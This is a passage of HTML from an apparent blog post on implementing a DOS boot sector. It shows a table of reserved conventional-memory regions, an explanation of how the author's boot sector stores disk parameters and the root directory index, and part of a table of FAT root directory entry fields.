        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
        
        <td>&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
      </tr>
    
      <tr>
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-partially-reserved-byte">&nbsp;</td>
        
        
      
        
        <td class="dos-boot-sector-table-reserved-byte">&nbsp;</td>
        
        
      
      </tr>
    
    </tbody>
  </table>
  <div class="caption">Free, partial, and reserved bytes in conventional memory (1 KiB per square)</div>
</div>

<p>In my boot sector implementation, I use 5 B in [0x07E00, 0x07E05) to store the number of sectors on the disk and the logical block address of the root directory and IO.SYS. I use 29.75 KiB in [0x00500, 0x07C00) for the root directory index. Each root directory entry is 32 B, meaning that IO.SYS must be one of the first 952 entries. (MS-DOS 4.0 expects IO.SYS to be the first record in the root directory.) Here is a table describing the layout of each root directory entry:</p>

<div class="dos-boot-sector-parameters"></div>

<table>
  <thead>
    <tr>
      <th>Length</th>
      <th>Name</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>8</td>
      <td>Filename</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Extension</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Attributes</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Reserved</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Creation time (microseconds portion)</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Creation time</td>
    </tr>
    <tr>
